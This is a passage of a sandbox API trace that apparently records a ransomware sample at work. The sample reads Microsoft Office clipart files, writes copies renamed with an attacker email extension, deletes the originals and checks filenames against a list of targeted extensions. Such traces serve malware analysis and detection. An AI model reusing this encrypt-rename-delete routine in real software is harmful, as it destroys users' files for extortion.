SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.480] GetLastError () returned 0x0 [0211.480] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1498, lpOverlapped=0x0) returned 1 [0211.481] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0211.482] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.482] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.482] SetEndOfFile (hFile=0x36c) returned 1 [0211.483] CloseHandle (hObject=0x36c) returned 1 [0211.483] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.483] SetEndOfFile (hFile=0x3bc) returned 1 [0211.485] CloseHandle (hObject=0x3bc) returned 1 [0211.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.487] lstrlenW (lpString=".doc") returned 4 [0211.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".docx") returned 5 [0211.487] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.487] lstrlenW (lpString=".pdf") returned 4 [0211.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".xls") returned 4 [0211.487] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.487] lstrlenW (lpString=".xlsx") returned 5 [0211.487] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.487] lstrlenW (lpString=".ppt") returned 4 [0211.487] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.487] lstrlenW (lpString=".zip") returned 4 [0211.487] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.487] lstrlenW (lpString=".rar") returned 4 [0211.487] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".bz2") returned 4 [0211.487] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString=".7z") returned 3 [0211.487] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.487] lstrlenW (lpString=".dbf") returned 4 [0211.487] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.487] lstrlenW (lpString=".1cd") returned 4 [0211.487] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".jpg") returned 4 [0211.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".doc") returned 4 [0211.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".docx") returned 5 [0211.488] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0211.488] lstrlenW (lpString=".pdf") returned 4 [0211.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".xls") returned 4 [0211.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.488] lstrlenW (lpString=".xlsx") returned 5 [0211.488] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0211.488] lstrlenW (lpString=".ppt") returned 4 [0211.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".zip") returned 4 [0211.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.488] lstrlenW (lpString=".rar") returned 4 [0211.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".bz2") returned 4 [0211.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString=".7z") returned 3 [0211.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".dbf") returned 4 [0211.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".1cd") returned 4 [0211.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0211.488] lstrlenW (lpString=".jpg") returned 4 [0211.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.489] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.489] lstrlenW (lpString="J0107266.WMF") returned 12 [0211.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.490] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5868) returned 1 [0211.490] CloseHandle (hObject=0x3bc) returned 1 [0211.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0211.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.490] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.491] GetLastError () returned 0x0 [0211.491] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x16ec, lpOverlapped=0x0) returned 1 [0211.493] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x16f0, lpOverlapped=0x0) returned 1 [0211.494] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.494] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.494] SetEndOfFile (hFile=0x36c) returned 1 [0211.494] CloseHandle (hObject=0x36c) returned 1 [0211.495] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.495] SetEndOfFile (hFile=0x3bc) returned 1 [0211.497] CloseHandle (hObject=0x3bc) returned 1 [0211.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0211.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.498] lstrlenW (lpString=".doc") returned 4 [0211.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.498] lstrlenW (lpString=".docx") returned 5 [0211.498] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.498] lstrlenW (lpString=".pdf") returned 4 [0211.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.498] lstrlenW (lpString=".xls") returned 4 [0211.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.498] lstrlenW (lpString=".xlsx") returned 5 [0211.498] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.499] lstrlenW (lpString=".ppt") returned 4 [0211.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString=".zip") returned 4 [0211.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.499] lstrlenW (lpString=".rar") returned 4 [0211.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString=".bz2") returned 4 [0211.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString=".7z") returned 3 [0211.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString=".dbf") returned 4 [0211.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString=".1cd") returned 4 [0211.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString=".jpg") returned 4 [0211.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.499] lstrlenW (lpString=".doc") returned 4 [0211.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString=".docx") returned 5 [0211.499] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0211.499] lstrlenW (lpString=".pdf") returned 4 [0211.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.499] lstrlenW (lpString=".xls") returned 4 [0211.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.499] lstrlenW (lpString=".xlsx") returned 5 [0211.499] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0211.499] lstrlenW (lpString=".ppt") returned 4 [0211.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.500] lstrlenW (lpString=".zip") returned 4 [0211.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.500] lstrlenW (lpString=".rar") returned 4 [0211.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.500] lstrlenW (lpString=".bz2") returned 4 [0211.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.500] lstrlenW (lpString=".7z") returned 3 [0211.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.500] lstrlenW (lpString=".dbf") returned 4 [0211.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.500] lstrlenW (lpString=".1cd") returned 4 [0211.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0211.500] lstrlenW (lpString=".jpg") returned 4 [0211.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.500] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.500] lstrlenW (lpString="J0107280.WMF") returned 12 [0211.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.516] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11108) returned 1 [0211.516] CloseHandle (hObject=0x3bc) returned 1 [0211.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0211.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.517] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.517] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0211.518] GetLastError () returned 0x0 [0211.518] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x2b64, lpOverlapped=0x0) returned 1 [0211.736] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2b70, lpOverlapped=0x0) returned 1 [0211.737] ReadFile (in: hFile=0x3bc, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.737] WriteFile (in: hFile=0x36c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0211.737] SetEndOfFile (hFile=0x36c) returned 1 [0211.737] CloseHandle (hObject=0x36c) returned 1 [0211.737] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.737] SetEndOfFile (hFile=0x3bc) returned 1 [0211.740] CloseHandle (hObject=0x3bc) returned 1 [0211.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.742] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0211.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.743] lstrlenW (lpString=".doc") returned 4 [0211.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString=".docx") returned 5 [0211.744] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.744] lstrlenW (lpString=".pdf") returned 4 [0211.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString=".xls") returned 4 [0211.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.744] lstrlenW (lpString=".xlsx") returned 5 [0211.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.744] lstrlenW (lpString=".ppt") returned 4 [0211.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString=".zip") returned 4 [0211.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.744] lstrlenW (lpString=".rar") returned 4 [0211.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString=".bz2") returned 4 [0211.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString=".7z") returned 3 [0211.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString=".dbf") returned 4 [0211.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString=".1cd") returned 4 [0211.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString=".jpg") returned 4 [0211.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.744] lstrlenW (lpString=".doc") returned 4 [0211.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString=".docx") returned 5 [0211.745] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0211.745] lstrlenW (lpString=".pdf") returned 4 [0211.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString=".xls") returned 4 [0211.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.745] lstrlenW (lpString=".xlsx") returned 5 [0211.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0211.745] lstrlenW (lpString=".ppt") returned 4 [0211.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.745] lstrlenW (lpString=".zip") returned 4 [0211.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.745] lstrlenW (lpString=".rar") returned 4 [0211.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString=".bz2") returned 4 [0211.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString=".7z") returned 3 [0211.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.745] lstrlenW (lpString=".dbf") returned 4 [0211.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.745] lstrlenW (lpString=".1cd") returned 4 [0211.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68 [0211.745] lstrlenW (lpString=".jpg") returned 4 [0211.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.746] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0211.746] lstrlenW (lpString="J0107302.WMF") returned 12 [0211.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.747] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4136) returned 1 [0211.747] CloseHandle (hObject=0x3bc) returned 1 [0211.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0211.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0211.747] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.747] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 